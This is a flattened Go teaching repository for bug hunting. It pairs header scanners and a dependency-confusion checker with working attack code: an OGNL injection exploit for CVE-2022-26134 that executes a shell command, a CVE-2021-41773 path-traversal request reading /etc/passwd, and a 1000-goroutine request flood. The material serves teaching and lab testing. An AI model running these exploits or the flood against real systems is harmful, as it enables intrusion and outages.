├── .gitignore
├── README.md
├── clickjacking
├── main.go
└── poc.html
├── cors
├── main.go
└── poc.html
├── dependency_confusion
├── main.go
└── package.json
├── dos
└── main.go
├── go.mod
├── go.sum
├── ognl_injection
├── builder
│ ├── Makefile
│ └── docker-compose.yml
└── main.go
├── path_traversal
├── CVE-2021-41773
│ ├── Dockerfile
│ ├── README.md
│ └── httpd.conf
└── main.go
├── race_condition
├── main.go
└── race_app
│ ├── race_live
│ ├── .idea
│ │ ├── .gitignore
│ │ ├── dataSources.xml
│ │ ├── inspectionProfiles
│ │ │ ├── Project_Default.xml
│ │ │ └── profiles_settings.xml
│ │ ├── misc.xml
│ │ ├── modules.xml
│ │ └── race_live.iml
│ ├── manage.py
│ ├── race_app
│ │ ├── __init__.py
│ │ ├── __pycache__
│ │ │ ├── __init__.cpython-310.pyc
│ │ │ ├── admin.cpython-310.pyc
│ │ │ ├── apps.cpython-310.pyc
│ │ │ ├── models.cpython-310.pyc
│ │ │ └── views.cpython-310.pyc
│ │ ├── admin.py
│ │ ├── apps.py
│ │ ├── migrations
│ │ │ ├── 0001_initial.py
│ │ │ ├── __init__.py
│ │ │ └── __pycache__
│ │ │ │ ├── 0001_initial.cpython-310.pyc
│ │ │ │ └── __init__.cpython-310.pyc
│ │ ├── models.py
│ │ ├── tests.py
│ │ └── views.py
│ └── race_live
│ │ ├── __init__.py
│ │ ├── __pycache__
│ │ ├── __init__.cpython-310.pyc
│ │ ├── settings.cpython-310.pyc
│ │ ├── urls.cpython-310.pyc
│ │ └── wsgi.cpython-310.pyc
│ │ ├── asgi.py
│ │ ├── settings.py
│ │ ├── urls.py
│ │ └── wsgi.py
│ └── racy-django
│ ├── .env
│ ├── .gitignore
│ ├── .idea
│ ├── .gitignore
│ ├── inspectionProfiles
│ │ ├── Project_Default.xml
│ │ └── profiles_settings.xml
│ ├── misc.xml
│ ├── modules.xml
│ ├── racy-django.iml
│ └── vcs.xml
│ ├── config
│ ├── django.env
│ ├── mysql.env
│ └── nginx.conf
│ ├── docker-compose.yml
│ └── project
│ ├── Dockerfile
│ ├── demo
│ ├── __init__.py
│ ├── admin.py
│ ├── apps.py
│ ├── migrations
│ │ ├── 0001_initial.py
│ │ └── __init__.py
│ ├── models.py
│ ├── urls.py
│ └── views.py
│ ├── manage.py
│ ├── project
│ ├── __init__.py
│ ├── asgi.py
│ ├── settings.py
│ ├── urls.py
│ └── wsgi.py
│ ├── requirements.txt
│ └── scripts
│ ├── entrypoint.sh
│ └── wait_for_mysql.py
├── recon
├── arvan
│ ├── cdn_finder
│ │ └── cdn_finder.go
│ └── s3_bucket_enum
│ │ └── ar_s3_enum.go
├── portscan
│ └── portscanslow.go
├── portscanfast
│ └── portscanfast.go
└── portscannoauthdb
│ └── main.go
├── s3bucket_takeover
├── README.md
└── main.go
├── ssrf
├── example
│ ├── service.py
│ └── ssrf.py
└── main.go
└── subdomain_takeover
└── main.go
/.gitignore:
--------------------------------------------------------------------------------
1 | # Created by https://www.toptal.com/developers/gitignore/api/go,goland+all
2 | # Edit at https://www.toptal.com/developers/gitignore?templates=go,goland+all
3 |
4 | ### Go ###
5 | # If you prefer the allow list template instead of the deny list, see community template:
6 | # https://github.com/github/gitignore/blob/main/community/Golang/Go.AllowList.gitignore
7 | #
8 | # Binaries for programs and plugins
9 | *.exe
10 | *.exe~
11 | *.dll
12 | *.so
13 | *.dylib
14 |
15 | # Test binary, built with `go test -c`
16 | *.test
17 |
18 | # Output of the go coverage tool, specifically when used with LiteIDE
19 | *.out
20 |
21 | # Dependency directories (remove the comment below to include it)
22 | # vendor/
23 |
24 | # Go workspace file
25 | go.work
26 |
27 | ### Go Patch ###
28 | /vendor/
29 | /Godeps/
30 |
31 | ### GoLand+all ###
32 | # Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio, WebStorm and Rider
33 | # Reference: https://intellij-support.jetbrains.com/hc/en-us/articles/206544839
34 |
35 | # User-specific stuff
36 | .idea/**/workspace.xml
37 | .idea/**/tasks.xml
38 | .idea/**/usage.statistics.xml
39 | .idea/**/dictionaries
40 | .idea/**/shelf
41 |
42 | # AWS User-specific
43 | .idea/**/aws.xml
44 |
45 | # Generated files
46 | .idea/**/contentModel.xml
47 |
48 | # Sensitive or high-churn files
49 | .idea/**/dataSources/
50 | .idea/**/dataSources.ids
51 | .idea/**/dataSources.local.xml
52 | .idea/**/sqlDataSources.xml
53 | .idea/**/dynamic.xml
54 | .idea/**/uiDesigner.xml
55 | .idea/**/dbnavigator.xml
56 |
57 | # Gradle
58 | .idea/**/gradle.xml
59 | .idea/**/libraries
60 |
61 | # Gradle and Maven with auto-import
62 | # When using Gradle or Maven with auto-import, you should exclude module files,
63 | # since they will be recreated, and may cause churn. Uncomment if using
64 | # auto-import.
65 | # .idea/artifacts
66 | # .idea/compiler.xml
67 | # .idea/jarRepositories.xml
68 | # .idea/modules.xml
69 | # .idea/*.iml
70 | # .idea/modules
71 | # *.iml
72 | # *.ipr
73 |
74 | # CMake
75 | cmake-build-*/
76 |
77 | # Mongo Explorer plugin
78 | .idea/**/mongoSettings.xml
79 |
80 | # File-based project format
81 | *.iws
82 |
83 | # IntelliJ
84 | out/
85 |
86 | # mpeltonen/sbt-idea plugin
87 | .idea_modules/
88 |
89 | # JIRA plugin
90 | atlassian-ide-plugin.xml
91 |
92 | # Cursive Clojure plugin
93 | .idea/replstate.xml
94 |
95 | # SonarLint plugin
96 | .idea/sonarlint/
97 |
98 | # Crashlytics plugin (for Android Studio and IntelliJ)
99 | com_crashlytics_export_strings.xml
100 | crashlytics.properties
101 | crashlytics-build.properties
102 | fabric.properties
103 |
104 | # Editor-based Rest Client
105 | .idea/httpRequests
106 |
107 | # Android studio 3.1+ serialized cache file
108 | .idea/caches/build_file_checksums.ser
109 |
110 | ### GoLand+all Patch ###
111 | # Ignore everything but code style settings and run configurations
112 | # that are supposed to be shared within teams.
113 |
114 | .idea/*
115 |
116 | !.idea/codeStyles
117 | !.idea/runConfigurations
118 |
119 | # End of https://www.toptal.com/developers/gitignore/api/go,goland+all
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Golang For Bug Hunting (Live)
2 |
3 | > In these two live sessions, I intended to teach how to write tools with `golang` for vulnerability hunting.
4 |
5 | ## Video by [@raminfp](https://github.com/raminfp)
6 | - `Part 1 (Persian language)` - https://www.youtube.com/watch?v=GY6vrAH_SuU
7 | - `Part 2 (Persian language)` - https://www.youtube.com/watch?v=KEMFi0V2zdM
8 |
9 | ## Code
10 |
11 | - `Recon`
12 | - [Port scan slow](https://github.com/ravro-ir/golang_bug_hunting/tree/main/recon/portscan)
13 | - [Port scan fast](https://github.com/ravro-ir/golang_bug_hunting/tree/main/recon/portscanfast)
14 | - [Port scan no auth database](https://github.com/ravro-ir/golang_bug_hunting/tree/main/recon/portscannoauthdb)
15 | - `Arvan Cloud`
16 | - [CDN Finder](https://github.com/ravro-ir/golang_bug_hunting/tree/main/recon/arvan/cdn_finder)
17 | - [S3 Bucket Enum](https://github.com/ravro-ir/golang_bug_hunting/tree/main/recon/arvan/s3_bucket_enum)
18 | - [Clickjacking](https://github.com/ravro-ir/golang_bug_hunting/tree/main/clickjacking)
19 | - [CORS](https://github.com/ravro-ir/golang_bug_hunting/tree/main/cors)
20 | - [DoS](https://github.com/ravro-ir/golang_bug_hunting/tree/main/dos)
21 | - [OGNL Injection - CVE-2022-26134](https://github.com/ravro-ir/golang_bug_hunting/tree/main/ognl_injection)
22 | - [Dependency Confusion](https://github.com/ravro-ir/golang_bug_hunting/tree/main/dependency_confusion)
23 | - [S3 Bucket Takeover](https://github.com/ravro-ir/golang_bug_hunting/tree/main/s3bucket_takeover)
24 | - [Subdomain Takeover](https://github.com/ravro-ir/golang_bug_hunting/tree/main/subdomain_takeover)
25 | - [Path Traversal - CVE-2021-41773](https://github.com/ravro-ir/golang_bug_hunting/tree/main/path_traversal)
26 | - [SSRF](https://github.com/ravro-ir/golang_bug_hunting/tree/main/ssrf)
27 | - [Race Condition](https://github.com/ravro-ir/golang_bug_hunting/tree/main/race_condition)
28 |
29 |
30 | I hope enjoy,
31 | Thanks, Ramin
32 |
--------------------------------------------------------------------------------
/clickjacking/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "flag"
5 | "fmt"
6 | "log"
7 | "net/http"
8 | )
9 |
10 | func HttpGet(url string) {
11 | req, err := http.NewRequest("GET", url, nil)
12 | if err != nil {
13 | panic(err)
14 | }
15 | client := new(http.Client)
16 | response, err := client.Do(req)
17 | if err != nil {
18 | log.Fatal(err)
19 | }
20 | if response.Header.Get("x-frame-options") == "" {
21 | fmt.Println("[+++] This site potential clickjacking vuls.")
22 | } else {
23 | fmt.Println("[+++] This site is not clickjacking vuls.")
24 | }
25 | }
26 |
27 | func main() {
28 | domain := flag.String("domain", "", "Please add your domain address for scanning ...")
29 | flag.Parse()
30 | flag.VisitAll(func(f *flag.Flag) {
31 | ipValue := f.Value.String()
32 | if ipValue == "" {
33 | log.Fatal("Error : please add domain address")
34 | }
35 | })
36 | HttpGet(*domain)
37 |
38 | }
39 |
--------------------------------------------------------------------------------
/clickjacking/poc.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | PoC
5 |
6 |
7 |
27 |
28 | clickjacking vulnerability
29 | Let's go ...
30 |
31 |
32 |
33 |
34 |
--------------------------------------------------------------------------------
/cors/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "flag"
5 | "fmt"
6 | "log"
7 | "net/http"
8 | )
9 |
10 | func HttpGet(url string) {
11 | req, err := http.NewRequest("GET", url, nil)
12 | if err != nil {
13 | panic(err)
14 | }
15 | client := new(http.Client)
16 | response, err := client.Do(req)
17 | if err != nil {
18 | log.Fatal(err)
19 | }
20 | if response.Header.Get("access-control-allow-origin") == "*" {
21 | fmt.Println("[+++] This site potential CORS vuls.")
22 | } else {
23 | fmt.Println("[+++] This site is not CORS vuls.")
24 | }
25 | }
26 |
27 | func main() {
28 | domain := flag.String("domain", "", "Please add your domain address for scanning ...")
29 | flag.Parse()
30 | flag.VisitAll(func(f *flag.Flag) {
31 | ipValue := f.Value.String()
32 | if ipValue == "" {
33 | log.Fatal("Error : please add domain address")
34 | }
35 | })
36 | HttpGet(*domain)
37 |
38 | }
39 |
--------------------------------------------------------------------------------
/cors/poc.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | poc
5 |
6 |
7 | CORS POC
8 |
9 |
10 |
11 |
12 |
23 |
--------------------------------------------------------------------------------
/dependency_confusion/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "encoding/json"
5 | "fmt"
6 | "io/ioutil"
7 | "log"
8 | "net/http"
9 | "os"
10 | )
11 |
12 | // https://example.com/package.json <=== URL fuzzing
13 | // supply chain attack
14 |
15 | type PackageJson struct {
16 | Name string `json:"name"`
17 | Version string `json:"version"`
18 | Description string `json:"description"`
19 | Main string `json:"main"`
20 | Scripts struct {
21 | Toc string `json:"toc"`
22 | } `json:"scripts"`
23 | Repository struct {
24 | Type string `json:"type"`
25 | Url string `json:"url"`
26 | } `json:"repository"`
27 | Author string `json:"author"`
28 | License string `json:"license"`
29 | Bugs struct {
30 | Url string `json:"url"`
31 | } `json:"bugs"`
32 | Homepage string `json:"homepage"`
33 | Dependencies struct {
34 | MarkdownToc string `json:"markdown-toc"`
35 | } `json:"dependencies"`
36 | }
37 |
38 | func OpenFile() string {
39 |
40 | jsonFile, err := os.Open("package.json")
41 | if err != nil {
42 | log.Fatalln(err)
43 | }
44 | defer func(jsonFile *os.File) {
45 | err := jsonFile.Close()
46 | if err != nil {
47 | log.Fatal(err)
48 | }
49 | }(jsonFile)
50 | byteValue, _ := ioutil.ReadAll(jsonFile)
51 | var result PackageJson
52 | err = json.Unmarshal([]byte(byteValue), &result)
53 | if err != nil {
54 | log.Fatal(err)
55 | }
56 | return result.Name
57 |
58 | }
59 |
60 | func HttpGet(url string) string {
61 | req, err := http.NewRequest("GET", url, nil)
62 | if err != nil {
63 | panic(err)
64 | }
65 | client := new(http.Client)
66 | response, err := client.Do(req)
67 | if err != nil {
68 | log.Fatal(err)
69 | }
70 | body, err := ioutil.ReadAll(response.Body)
71 | if err != nil {
72 | log.Fatal(err)
73 | }
74 | return string(body)
75 | }
76 |
77 | func main() {
78 | packageName := OpenFile()
79 | url := "https://www.npmjs.com/search/suggestions?q=%s"
80 | newUrl := fmt.Sprintf(url, packageName)
81 | out := HttpGet(newUrl)
82 | if len(out) == 2 {
83 | fmt.Println("[++++] Package doesn't avaliable in npm website, potential vuls deps conf")
84 | } else {
85 | fmt.Println("[----] Package does exsit")
86 | }
87 | }
88 |
--------------------------------------------------------------------------------
/dependency_confusion/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "poc_ravro",
3 | "version": "1.0.0",
4 | "description": "Example version.",
5 | "main": "index.js",
6 | "scripts": {
7 | "toc": "markdown-toc -i --maxdepth 3 README.md"
8 | },
9 | "repository": {
10 | "type": "git",
11 | "url": "git+https://github.com/example/package.json.git"
12 | },
13 | "author": "",
14 | "license": "MIT",
15 | "bugs": {
16 | "url": "https://github.com/example/package.json/issues"
17 | },
18 | "homepage": "https://github.com/example/package.json#readme",
19 | "dependencies": {
20 | "markdown-toc": "^1.2.0"
21 | }
22 | }
--------------------------------------------------------------------------------
/dos/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "fmt"
5 | "io"
6 | "io/ioutil"
7 | "net/http"
8 | "strconv"
9 | "sync"
10 | )
11 |
12 | const BASE_URL = ""
13 | const NUM_PARALLEL = 1000
14 |
15 | type result struct {
16 | bodyStr string
17 | err error
18 | }
19 |
20 | func HttpGet() (string, error) {
21 |
22 | req, err := http.NewRequest("GET", BASE_URL, nil)
23 | if err != nil {
24 | return "", err
25 | }
26 | client := &http.Client{}
27 | resp, err := client.Do(req)
28 | if err != nil {
29 | panic(err)
30 | }
31 | defer func(Body io.ReadCloser) {
32 | err := Body.Close()
33 | if err != nil {
34 | panic(err)
35 | }
36 | }(resp.Body)
37 |
38 | body, _ := ioutil.ReadAll(resp.Body)
39 | defer resp.Body.Close()
40 | bodyStr := string(body)
41 | return bodyStr, nil
42 |
43 | }
44 |
45 | func AsyncHttp(data []string) ([]string, error) {
46 | var wg sync.WaitGroup
47 | wg.Add(NUM_PARALLEL)
48 | resultCh := make(chan result)
49 | for i := 0; i < NUM_PARALLEL; i++ {
50 | go func() {
51 | for input := range data {
52 | fmt.Println("Counter request is : ", input)
53 | bodyStr, err := HttpGet()
54 | resultCh <- result{bodyStr, err}
55 |
56 | }
57 | wg.Done()
58 | }()
59 | }
60 |
61 | go func() {
62 | wg.Wait()
63 | close(resultCh)
64 | }()
65 | results := []string{}
66 | for reslt := range resultCh {
67 | if reslt.err != nil {
68 | return nil, reslt.err
69 | }
70 | results = append(results, reslt.bodyStr)
71 | }
72 |
73 | return results, nil
74 | }
75 |
76 | func main() {
77 |
78 | data := []string{}
79 | for i := 1; i <= 100000; i++ {
80 | data = append(data, strconv.Itoa(i))
81 | }
82 | myresult, err := AsyncHttp(data)
83 | if err != nil {
84 | fmt.Println(err)
85 | return
86 | }
87 | for _, res := range myresult {
88 | fmt.Println(res)
89 | }
90 | }
91 |
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module ravro_live_golang
2 |
3 | go 1.18
4 |
5 | require (
6 | github.com/miekg/dns v1.1.50
7 | mvdan.cc/xurls/v2 v2.4.0
8 | )
9 |
10 | require (
11 | golang.org/x/mod v0.4.2 // indirect
12 | golang.org/x/net v0.0.0-20210726213435-c6fcb2dbf985 // indirect
13 | golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c // indirect
14 | golang.org/x/tools v0.1.6-0.20210726203631-07bc1bf47fb2 // indirect
15 | golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
16 | )
17 |
--------------------------------------------------------------------------------
/go.sum:
--------------------------------------------------------------------------------
1 | github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=
2 | github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
3 | github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
4 | github.com/miekg/dns v1.1.50 h1:DQUfb9uc6smULcREF09Uc+/Gd46YWqJd5DbpPE9xkcA=
5 | github.com/miekg/dns v1.1.50/go.mod h1:e3IlAVfNqAllflbibAZEWOXOQ+Ynzk/dDozDxY7XnME=
6 | github.com/pkg/diff v0.0.0-20210226163009-20ebb0f2a09e/go.mod h1:pJLUxLENpZxwdsKMEsNbx1VGcRFpLqf3715MtcvvzbA=
7 | github.com/rogpeppe/go-internal v1.8.1/go.mod h1:JeRgkft04UBgHMgCIwADu4Pn6Mtm5d4nPKWu0nJ5d+o=
8 | github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k=
9 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
10 | golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
11 | golang.org/x/mod v0.4.2 h1:Gz96sIWK3OalVv/I/qNygP42zyoKp3xptRVCWRFEBvo=
12 | golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
13 | golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
14 | golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
15 | golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM=
16 | golang.org/x/net v0.0.0-20210726213435-c6fcb2dbf985 h1:4CSI6oo7cOjJKajidEljs9h+uP0rRZBPPPhcCbj5mw8=
17 | golang.org/x/net v0.0.0-20210726213435-c6fcb2dbf985/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
18 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
19 | golang.org/x/sync v0.0.0-20210220032951-036812b2e83c h1:5KslGYwFpkhGh+Q16bwMP3cOontH8FOep7tGV86Y7SQ=
20 | golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
21 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
22 | golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
23 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
24 | golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
25 | golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
26 | golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
27 | golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c h1:F1jZWGFhYfh0Ci55sIpILtKKK8p3i2/krTr0H1rg74I=
28 | golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
29 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
30 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
31 | golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
32 | golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
33 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
34 | golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
35 | golang.org/x/tools v0.1.6-0.20210726203631-07bc1bf47fb2 h1:BonxutuHCTL0rBDnZlKjpGIQFTjyUVTexFOdWkB6Fg0=
36 | golang.org/x/tools v0.1.6-0.20210726203631-07bc1bf47fb2/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
37 | golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
38 | golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
39 | golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 h1:go1bK/D/BFZV2I8cIQd1NKEZ+0owSTG1fDTci4IqFcE=
40 | golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
41 | gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
42 | gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI=
43 | mvdan.cc/xurls/v2 v2.4.0 h1:tzxjVAj+wSBmDcF6zBB7/myTy3gX9xvi8Tyr28AuQgc=
44 | mvdan.cc/xurls/v2 v2.4.0/go.mod h1:+GEjq9uNjqs8LQfM9nVnM8rff0OQ5Iash5rzX+N1CSg=
45 |
--------------------------------------------------------------------------------
/ognl_injection/builder/Makefile:
--------------------------------------------------------------------------------
1 | up:
2 | @echo Starting Docker images...
3 | docker-compose up -d
4 | @echo Docker images started!
5 |
6 |
7 | ## down: stop docker compose
8 | down:
9 | @echo Stopping docker compose...
10 | docker-compose down
11 | @echo Done!
12 |
--------------------------------------------------------------------------------
/ognl_injection/builder/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '2'
2 | services:
3 | web:
4 | image: vulhub/confluence:7.13.6
5 | ports:
6 | - "8090:8090"
7 | depends_on:
8 | - db
9 | db:
10 | image: postgres:12.8-alpine
11 | environment:
12 | - POSTGRES_PASSWORD=postgres
13 | - POSTGRES_DB=confluence
--------------------------------------------------------------------------------
/ognl_injection/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "errors"
5 | "flag"
6 | "fmt"
7 | "log"
8 | "net/http"
9 | )
10 |
11 | func HttpGet(url string) {
12 | req, err := http.NewRequest("GET", url, nil)
13 | if err != nil {
14 | log.Fatal(err)
15 | }
16 | client := new(http.Client)
17 | client.CheckRedirect = func(req *http.Request, via []*http.Request) error {
18 | return errors.New("Redirect")
19 | }
20 | resp, err := client.Do(req)
21 | if err != nil {
22 | fmt.Println(resp.Header.Get("X-Cmd-Response"))
23 | }
24 | }
25 |
26 | func main() {
27 |
28 | payload := "%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22pwd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/"
29 | domain := flag.String("domain", "", "please add your domain")
30 | flag.Parse()
31 | if *domain == "" {
32 | fmt.Println("usage : main.go -domain=127.0.0.1")
33 | return
34 | }
35 | newDomain := *domain + payload
36 | HttpGet(newDomain)
37 |
38 | }
39 |
--------------------------------------------------------------------------------
/path_traversal/CVE-2021-41773/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM httpd:2.4.49
2 | COPY ./httpd.conf /usr/local/apache2/conf/httpd.conf
3 |
--------------------------------------------------------------------------------
/path_traversal/CVE-2021-41773/README.md:
--------------------------------------------------------------------------------
1 | # CVE-2021-41773
2 | CVE-2021-41773 POC with Docker
3 |
4 | ### Configuration
5 | To customize the `httpd.conf` file, change line `251` in the `` section from `Require all denied` to `Require all granted`.
6 | ```
7 |
8 | AllowOverride none
9 | Require all granted
10 |
11 | ```
12 |
13 | ### Create a Dockerfile in your project
14 |
15 | ```
16 | FROM httpd:2.4.49
17 | COPY ./httpd.conf /usr/local/apache2/conf/httpd.conf
18 | ```
19 |
20 | Then, run the commands to build and run the Docker image:
21 |
22 | ```
23 | $ docker build -t apache-pt .
24 | $ docker run -dit --name apache-pt-app -p 81:80 apache-pt
25 | ```
26 |
27 | ### Exploit
28 | Send the following request using BurpSuite Repeater.
29 |
30 | ```
31 | GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1
32 | Host: localhost:81
33 | User-Agent: Mozilla
34 | Connection: close
35 |
36 |
37 | ```
38 |
39 | Response:
40 |
41 | ```
42 | HTTP/1.1 200 OK
43 | Date: Wed, 06 Oct 2021 02:32:09 GMT
44 | Server: Apache/2.4.49 (Unix)
45 | Last-Modified: Mon, 27 Sep 2021 00:00:00 GMT
46 | ETag: "39e-5cceec7356000"
47 | Accept-Ranges: bytes
48 | Content-Length: 926
49 | Connection: close
50 |
51 | root:x:0:0:root:/root:/bin/bash
52 | daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
53 | bin:x:2:2:bin:/bin:/usr/sbin/nologin
54 | sys:x:3:3:sys:/dev:/usr/sbin/nologin
55 | sync:x:4:65534:sync:/bin:/bin/sync
56 | games:x:5:60:games:/usr/games:/usr/sbin/nologin
57 | man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
58 | lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
59 | mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
60 | news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
61 | uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
62 | proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
63 | www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
64 | backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
65 | list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
66 | irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
67 | gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
68 | nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
69 | _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
70 |
71 | ```
72 |
73 | ### Patch revision
74 | The source code for Apache 2.4.49 (vulnerable) and Apache 2.4.50 (patched) can be downloaded respectively from:
75 |
76 | * https://dlcdn.apache.org//httpd/httpd-2.4.49.tar.gz
77 | * https://dlcdn.apache.org//httpd/httpd-2.4.50.tar.gz
78 |
79 | ```
80 | $ wget https://dlcdn.apache.org//httpd/httpd-2.4.49.tar.gz
81 | $ wget https://dlcdn.apache.org//httpd/httpd-2.4.50.tar.gz
82 | ```
83 |
84 | The vulnerability is found in the `/server/util.c` file at line `571` where validation is applied for payloads of type `/xx/../` but not for `/xx/.%2e/`.
85 |
86 | The difference between the vulnerable code and the patched code can be obtained with the command diff.
87 | ```
88 | $ diff httpd-2.4.49/server/util.c httpd-2.4.50/server/util.c
89 | 505c505,506
90 | < apr_size_t l = 1, w = 1;
91 | ---
92 | > apr_size_t l = 1, w = 1, n;
93 | > int decode_unreserved = (flags & AP_NORMALIZE_DECODE_UNRESERVED) != 0;
94 | 532c533
95 | < if ((flags & AP_NORMALIZE_DECODE_UNRESERVED)
96 | ---
97 | > if (decode_unreserved
98 | 570,571c571,581
99 | < /* Remove /xx/../ segments */
100 | < if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
101 | ---
102 | > /* Remove /xx/../ segments (or /xx/.%2e/ when
103 | > * AP_NORMALIZE_DECODE_UNRESERVED is set since we
104 | > * decoded only the first dot above).
105 | > */
106 | > n = l + 1;
107 | > if ((path[n] == '.' || (decode_unreserved
108 | > && path[n] == '%'
109 | > && path[++n] == '2'
110 | > && (path[++n] == 'e'
111 | > || path[n] == 'E')))
112 | > && IS_SLASH_OR_NUL(path[n + 1])) {
113 | 588c598
114 | < l += 2;
115 | ---
116 | > l = n + 1;
117 | ```
118 |
--------------------------------------------------------------------------------
/path_traversal/CVE-2021-41773/httpd.conf:
--------------------------------------------------------------------------------
1 | # cat httpd.conf
2 | #
